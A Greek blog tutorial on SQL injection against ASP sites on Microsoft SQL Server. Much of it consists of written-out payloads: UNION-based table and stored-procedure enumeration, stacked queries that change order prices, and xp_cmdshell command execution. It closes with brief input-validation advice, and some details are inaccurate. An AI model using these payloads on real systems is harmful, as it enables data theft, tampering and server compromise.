Ενα βασικό κομμάτι των XXS επιθέσεων είναι το SQL injection.
Το net είναι γεμάτο με κλασικά παραδείγματα τα οποία θα αναλύσουμε πολύ λίγο.
Περισσότερο θα επικεντρωθούμε σε συγκεκριμένους στόχους.
Tώρα τελευταία (ας πούμε) βλέπω όλο και πιο συχνά web programs με extention .asp ή .aspx
Όταν βλέπουμε ένα τέτοιο Xtention.... καταλαβαίνουμε οτι μιλάμε για Micro$oft Και πιο συγκεκριμένα:
.asp = Active Server Pages
.aspx = Active Server Pages with Web forms .net (που υποστηρίζει (JITC) Just In Time Compilation).
Πολλές φορές πισω από τέτοια αρχεία βρίσκεται ένας SQL server, μιας και είναι προιόντα της ίδιας εταιρία και πουλιούνται σαν πακέτο... (όχι πάντα όμως - τεσπα).
Έστω οτι το site μας είναι τέτοιο και έχει μια αδυναμία σε SQL-injection:
Έστω οτι έχουμε την εξής εντολή (σε ψευδοκώδικα) να εκελέσουμε:
'Select order_id, name, qty, price from orders where customer_id = '+ Parameter_1 + ' and password= MD5(MD5('+Cookie_Χ+')+userSalt)
H parameter_1 έρχεται σαν εξωτερική παράμετρος από το περιβάλλον (url ή session).
Έτσι, άν Parameter_1=12 τότε θα εκτελεστεί η εντολή SQL:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 and password= 'trelaras~1#%'
θα φέρει όλες τις παραγγείες του πελάτη 12 .
Αν εμείς, αλλάξουμε την Parameter_1 και τις δώσουμε την εξής τιμή:
Parameter_1 = 12 or 1=1 --
και ο κώδικας μας δεν προστατεύεται (όπως ο παραπάνω),... τότε θα εκτελεστεί:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 -- and password= 'trelaras~1#%'
Στην πραγματικότητα οι χαρακτήρες '--' ειναι σχόλια για τον SQL Server, οπότε οτιδήποτε μετά το -- θα αγνοηθεί, και θα εκτελεστεί το παρακάτω:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1
Αυτό τι θα επιστρέψει?
Μα φυσικά όλες τις παραγγελίες ανεξαρτήτος πελάτη.... μιας και το condition 'customer_id = 12 or 1=1' επιστρέφει πάντα TRUE!
Μέχρι εδώ,... δεν έχουμε ανακαλύψει κάτι τρομερά σημαντικό ή για να το πω πιο καλά δεν έχουμε κάνει κάτι σημαντικό.
Εμείς θέλουμε να δούμε κατ' αρχάς όλα τα tables τις βάσης...
Πως θα το κάνουμε αυτό με SQL-injection
Θα κάνουμε κάτι παρόμοιο με αυτό που κάναμε παραπάνω, μόνο που θα χρησιμοποιήσουμε την SQL εντολή UNION:
Δίνοντας λοιπόν
Parameter_1 = 12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects --
Δηλαδή:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects
Κατ' αρχάς ο πίνακας sysobjects υπάρχει πάντα στον SQL-Server όποτε δεν θα πάρουμε αντίστοιχο error.
Το error που θα πάρουμε θα οφείλετε στην λανθασμένη χρήση της εντολής union η οποία απαιτεί οι στήλες στο πρώτο select να είναι ίσες και του ίδιου τύπου με αυτές του 2ου select.
Πρέπει να αναφέρω εδώ, οτι ο επιτηθέμενος δεν ξέρει ποιές στήλες έχει το 1ο select, ούτε τους τύπους δεδομένων τους, αλλά ούτε και ποιον πίνακα χρησιμοποιεί το select αυτό.
Πώς θα βρεί το σωστό αριθμό στηλών και τους σωστούς τύπους δεδομένων?
Υπάρχει ένα κολπάκι:
Κατ' αρχάς θα βάλουμε στο select ένα πολύ μεγάλο αριθμό σταθερών ... πχ:
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Αυτό θα έχει σαν αποτέλεσμα να πάρουμε από τον sql server το error:
Server: Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
Ωραία!!
Θα μειωνουμε λοιπόν τον αριθμό των σταθερών και θα εκτελούμε το select Μέχρι να πάρουμε ένα διαφορρετικό error το οποίο πιθανόν θα οφείλετε στο διαφορετικό τύπο δεδομένων που υπάρχει στο 1ο select.
Τι θα έχουμε πετύχει? Να βρούμε το πλήθος των στηλών στο 1ο select!
Στην προκειμένη περίπτωση το error message θα αλλάξει όταν εκτελέσουμε την εντολή:
Parameter_1 = 12 or 1=1 UNION select 1,1,1,1,1,1 from sysobjects --
To error τώρα θα είναι κάτι τέτοιο:
Server: Msg 245, Level 16, State 1, Line 1
Syntax error converting the varchar value 'χχχχχ' to a column of data type int.
Τι σημαίνει αυτό.... οτι κάποιος τύπος δεδομένων στο 1ο select δεν συμφωνεί με κάποιο τύπο δεδομένων στο 2ο select. Ο επιτηθέμενος όμως μόνο το 2ο select μπορεί να αλλάζει....
Οπότε θα αλλάζει τον τύπο των παραμέτρων....
π.χ.
Parameter_1 = 12 or 1=1 UNION select 1,'1','1',1,1,1 from sysobjects --
μέχρι να μην δει πια λάθος.
Τελικά θα έχουμε καταλήξει στο εξής
Parameter_1 = 12 or 1=1 UNION select 1,1,'1',1,1,1 from sysobjects --
Αυτό σημαίνει οτι το 1ο SQL χρησιμοποιέι 6 στήλες με τύπο:
number, number,number, character, number,number
Ωραία!!!
Τώρα μπορούμε να δούμε το όνοματα όλων των πινάκων της βάσης εκτελώντας το εξής:
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U' --
Προσέξτε το παραπάνω κόλπο!
Γνωρίζοντας οτι η τρίτη στήλη είναι χαρακτήρες κάναμε το union με τον πίνακα του συστήματος sysobjects για να εμφανίσουμε στην τρίτη θέση την στήλη name που είναι το όνομα των πινάκων.
Ψάχνοντας τους πίνακες μπορούμε να βρούμε διάφορες πληροφορίες...
Ο μόνος περιορισμός μας είναι ο αριθμός των στηλών και ο τύπος των δεδομένων που ορίζονται στο 1ο select και που στην ουσία είναι ο "οδηγός" που πρέπει να "σεβαστούμε" αν θέλουμε να δουλέψει σωστά το UNION μας.
Μπαίνοντας σε πιο βαθιά νερά....
Πιο advance παραλλαγές είναι να δούμε των κώδικα των stored procedures Μέσα στην βάση δεδομένων:
Για να το κάνω αυτό πρέπει να σας πω το εξής:
Για να δω τα ονόματα (σε normal καταστάσεις) tων stored procedures, functions που χρησιμοποιεί μια ΒΔ δίνω την εντολή:
[α]
SELECT distinct NAME AS [NAME],
CASE WHEN TYPE ='P' THEN 'PROCEDURE'
WHEN TYPE IN('FN', 'IF','TF') THEN 'FUNCTION'
END AS OBJECTTYPE
FROM SYSCOMMENTS comm
inner join sysobjects obj
on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')
Επιλέγοντας λοιπόν μια από αυτές μπορώ να δω μέσα των κώδικα της:
[β]
SELECT [Text]
FROM SYSCOMMENTS comm
inner join sysobjects obj
on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')
where [name] = 'MyProcedureName'
Αν αυτό το μεταφέρω στο... injection μου... θα πρέπει να έδινα αντίστοιχα για τα [α], [β]:
Parameter_1 = 12 or 1=1 UNION select 1,1,[name],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --
και
Parameter_1 = 12 or 1=1 UNION select 1,1,[Text],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --
Κάτι ακόμα ... χειρότερο.
Μπορούμε να εκτελέσουμε κώδικα updates, delete, insert κλπ, κλπ...
Πώς?
Μα με τον χαρακτήρα ';'.
Π.χ.
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas' --
Φαντάζομαι καταλάβατε οτι πλέον .... έχουμε απεριόριστη πρόσβαση σε ολόκληρη την βάση να κάνουμε.... ΟΤΙΔΗΠΟΤΕ!
Ωραία μέχρι.... εδω....
Την βάση την έχουμε σκίσει!!
Μήπως μπορούμε να... πάρουμε και..... shell...??
Χμ..... ίσως...
Στον Sql server υπάρχει η function xp_cmdshell 'xxx' η οποία εκετελείτε πάντα στη master database που υπάρχει σε κάθε SQL Server.
όπου 'xxx' οποιαδήποτε εντολή command shell η οποία θα εκτελεστεί στον server!!
Σκεφτείτε λοιπόν να δώσω.....
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas'; exec master..xp_cmdshell "dir"--
Στην συγκεκριμένη περίπτωση, πέρα από τα "συμφέροντα" Updates"!! κάνω κι ένα.... "dir" στον δίσκο του server.... έτσι για να δω άν έχει τίποτα.... "καλό"!!!
Μετά ... βλέπουμε!!
Λοιπόν.... αν αντέξατε να φτάσατε μέχρι εδώ!! μπράβο σας!! χε χε σημαίνει οτι δεν είμουνα τόσο βαρετός όσο φοβόμουνα!
Οι παραλλαγές είναι ΑΠΕΙΡΕΣ!!!
Αυτή τη στιγμή μου έρχονται στον μυαλό άπειρα σενάρια!!
Ο περιορισμός?
Η φαντασία σας!!
Πρέπει όμως κάπου να σταματήσω....
Θέλω τελειώνοντας να τονίσω οτι ΟΛΑ τα παραπάνω είναι για γνώση και συμόρφωση όσων αναπτύσουν software για web!!
Προσοχή guys!!!
There are real bad persons out there!!
Όλα τα παραπάνω (μα ΟΛΑ)... θα είχανε αποφευχθεί αν ο προγραμματιστής είχε προστατέψει την παράμετρο Parameter_1 ελέγχοντας :
1. Τον τύπο της: π.χ. να είναι μόνο ακέραια.
2. Το μέγεθος της π.χ. να μην είναι πάνω από 10 χαρακτήρες,
3. Το να μην περιέχει περίεργους χαρακτήρες π.χ. 'updates', ';', κλπ κλπ.
Μια τόσο αθώα παράμετρος, μπορεί όσο κι αν φαίνεται περίεργο να προκαλέσει τόση μεγάλη ζημιά!!
Έπρεπε να προσέξει αυτός programmer!!
Αν δεν άφηνε ανοιχτή αυτήν την μικρή κεκρόπορτα.... η Πόλη ίσως να είχε σωθεί!!
Αναδημοσίευση από το www.Secfreaks.gr που το δημοσίευσα για πρώτη φορά.
Nothing to declare...